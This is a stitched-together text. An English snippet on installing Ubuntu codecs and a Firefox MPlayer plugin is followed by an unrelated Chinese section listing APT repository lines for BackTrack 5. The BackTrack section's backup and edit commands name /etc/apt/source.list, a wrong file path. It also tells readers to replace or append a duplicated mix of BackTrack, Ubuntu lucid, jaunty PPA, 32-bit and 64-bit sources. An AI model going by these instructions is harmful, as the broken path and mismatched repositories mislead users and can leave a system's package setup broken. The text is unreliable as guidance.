For amd64 Users install Codecs using the following command

sudo apt-get install w64codecs libdvdcss2

Using above download locations you can install most of the mutimedia codecs for ubuntu.

Mplayer Plugin for Firefox

If you want to install Mplayer with plug-in for Mozilla Firefox run the following command

sudo apt-get install mozilla-mplayer

or click on the following link

apt://mozilla-mplayer

bt5速度超级快,最全的软件源

添加,修改软件源的方法:

备份原来的:

cp /etc/apt/source.list /etc/apt/source.list.bak

gedit /etc/apt/source.list

把内容替换成如下,或者把如下内容添加到文件的最后。

deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://mirror.edu.backtrack-cn.org/backtrack/32 revolution main microverse non-free testing
deb http://mirror.edu.backtrack-cn.org/backtrack/all revolution main microverse non-free testing
deb http://archive.ubuntu.com/ubuntu lucid main universe restricted
deb http://security.ubuntu.com/ubuntu/ lucid-security universe main restricted
deb http://archive.ubuntu.com/ubuntu lucid-updates universe main restricted
deb http://mirror.edu.backtrack-cn.org/backtrack/source revolution main microverse non-free testing
deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main
deb-src http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main

deb http://mirrors.ustc.edu.cn/backtrack/source revolution main microverse non-free testing
deb http://mirrors.ustc.edu.cn/backtrack/all revolution main microverse non-free testing
deb http://mirrors.ustc.edu.cn/backtrack/32 revolution main microverse non-free testing

deb http://mirror.edu.backtrack-cn.org/backtrack/32 revolution main microverse non-free testing
deb http://mirror.edu.backtrack-cn.org/backtrack/all revolution main microverse non-free testing
deb http://mirror.edu.backtrack-cn.org/backtrack/source revolution main microverse non-free testing

deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://64.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

deb http://ubuntu.uestc.edu.cn/ubuntu/ lucid main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu/ lucid-backports restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu/ lucid-proposed main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu/ lucid-security main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu/ lucid-updates main restricted universe multiverse